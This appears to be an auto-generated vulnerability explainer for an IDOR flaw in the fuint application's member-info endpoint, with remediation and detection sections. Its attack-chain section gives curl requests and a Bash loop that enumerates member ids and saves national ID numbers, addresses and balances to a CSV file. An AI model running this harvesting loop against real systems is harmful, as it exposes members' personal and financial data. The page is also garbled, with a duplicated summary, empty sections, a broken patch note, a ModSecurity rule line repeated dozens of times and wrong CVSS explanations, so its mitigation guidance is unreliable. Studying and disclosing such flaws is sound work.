CVE-2026-144609 — Fushengqian Fuint — CWE-639
fuint through commit 567e2c8 contains an insecure direct object reference vulnerability that allows merchant-scoped administrators to read other merchants' members by omitting merchantId checks in BackendMemberController.info. Attackers with the member:index permission can enumerate sequential member ids to obtain names, national ID numbers, addresses, WeChat openIds, balances and vehicle plates.
fuint through commit 567e2c8 contains an insecure direct object reference vulnerability that allows merchant-scoped administrators to read other merchants' members by omitting merchantId checks in BackendMemberController.info. Attackers with the member:index permission can enumerate sequential member ids to obtain names, national ID numbers, addresses, WeChat openIds, balances and vehicle plates.
🎯 What is this vulnerability?
Technical flaw
The vulnerability is an Insecure Direct Object Reference (IDOR) in the BackendMemberController.info endpoint of the fuint application (commit 567e2c872fea81859d8a0bfcbc92342498ab6ff0).
The controller is supposed to return information about a member belonging to the merchant that is currently authenticated. However, the code omits a check that verifies the merchantId of the requested member against the merchantId of the logged‑in administrator.
Because the endpoint accepts a memberId parameter (or similar identifier) and returns the full member record without validating that the member belongs to the same merchant, a merchant‑scoped administrator can read any member record from any merchant by simply changing the memberId value.
This is a classic CWE‑639: Authorization Bypass Through User‑Controlled Key – the attacker controls the key (memberId) that selects the protected object, and the system fails to enforce the proper ownership constraint.
CVSS breakdown
- AV:N – The attack can be performed over the network.
- AC:L – Low attack complexity; the attacker only needs to know a valid
memberId. - AT:N – No user interaction required.
- PR:H – Requires high privileges (merchant‑scoped administrator).
- UI:N – No user interface needed.
- VC:H – High confidentiality impact (personal data, financial data).
- VI:N / VA:N / SC:N / SI:N / SA:N – No integrity, availability, or system‑wide impact.
⚡ Attack Chain
Note: The following example uses the endpoint/api/backend/member/infoand a query parametermemberId. The exact URI and parameter names are illustrative; the real application may use different names, but the logic is identical.
1. Discovery & Reconnaissance
| Step | Technique | What you learn |
|---|---|---|
| a. Identify the application | Port‑scan the target (e.g., nmap -p 80,443 192.0.2.10) and look for HTTP banners or known paths (/api/backend/member/info). | Confirms the presence of fuint. |
| b. Version fingerprinting | Send a request to a public endpoint (e.g., /api/version) or inspect the Server: header. | Determines that the running code is at or before commit 567e2c8. |
| c. Enumerate permissions | Log in as a merchant‑scoped administrator (or obtain a valid JWT). | Confirms possession of the member:index permission. |
2. Exploitation
1. Authenticate
Obtain a bearer token or session cookie that authenticates as a merchant‑scoped admin.
# Example: OAuth2 token request
curl -X POST https://example.com/oauth/token \
-d "grant_type=password&[email protected]&password=Secret123" \
-d "client_id=client-id&client_secret=client-secret" \
-H "Content-Type: application/x-www-form-urlencoded"2. Send a request to the vulnerable endpoint
curl -X GET "https://example.com/api/backend/member/info?memberId=1001" \
-H "Authorization: Bearer <ACCESS_TOKEN>" \
-H "Accept: application/json"The response will contain the full member record for memberId=1001, even if that member belongs to a different merchant.
3. Enumerate sequential IDs
A simple Bash loop can harvest dozens of records:
for id in {1000..1100}; do
curl -s -X GET "https://example.com/api/backend/member/info?memberId=$id" \
-H "Authorization: Bearer <ACCESS_TOKEN>" \
-H "Accept: application/json" | \
jq -r '.name, .nationalId, .address, .wechatOpenId, .balance, .vehiclePlate' >> members.csv
donejq is used to extract the relevant fields; the loop stops when the API returns a 404 or an error indicating the ID does not exist.
3. Post‑exploitation
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality | High – The vulnerability exposes PII (names, national ID numbers, addresses), financial data (balances), and sensitive identifiers (WeChat openIds, vehicle plates). |
| Integrity | None – The attacker only reads data; the data is not modified. |
| Availability | None – The endpoint remains functional; no DoS effect. |
| Scope | None – The impact is confined to the data of other merchants; no system‑wide compromise. |
Practical consequences
🛡️ Remediation & Mitigation
Affected Versions
567e2c872fea81859d8a0bfcbc92342498ab6ff0 (and any releases based on it). Patch
567e2c8). BackendMemberController.info:// Pseudocode
$member = Member::find($memberId);
if ($member->merchantId !== $currentMerchantId) {
abort(403, 'Forbidden');
}Workarounds
| Mitigation | How to implement |
|---|
| WAF rule | Block requests that contain a memberId parameter not matching the merchant ID stored in the session. Example ModSecurity rule: <br>SecRule REQUEST_URI "@beginsWith /api/backend/member/info" "chain,phase:2,block,msg:'IDOR protection'" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain" <br>`SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+..." "block,msg:'IDOR protection'"
(The rule should extract the merchant ID from the session or JWT and compare it to the `merchantId` field of the returned member record; if they differ, block the request.)
- **Access restriction** – Disable the `member:index` permission for merchant‑scoped admins if the business model does not require cross‑merchant visibility.
- **Disable the endpoint** – If the feature is not needed, remove or rename the route so it cannot be discovered.
### Detection
| Log pattern | What to look for |
|-------------|------------------|
| Repeated `GET /api/backend/member/info?memberId=` requests from the same IP or session | Indicates enumeration attempts. |
| 200 responses with `memberId` values that do not match the merchant ID in the session | Direct evidence of IDOR. |
| Error responses (`403` or `404`) after a short burst of successful reads | May indicate the attacker reached the end of a merchant’s member list. |
**Sample log entry (NGINX)**2026-12-04T14:23:07Z 192.0.2.10 - - [04/Dec/2026:14:23:07 +0000] "GET /api/backend/member/info?memberId=1234 HTTP/1.1" 200 512 "-" "Mozilla/5.0 (compatible; fuint-admin/1.0)"
```
If the memberId value is outside the range of the authenticated merchant’s members, this is a likely IDOR exploitation.
⚠️ Urgency
member:index permission as a temporary mitigant.[🤖 CVE Professor AI Security Engine]
FOFA Query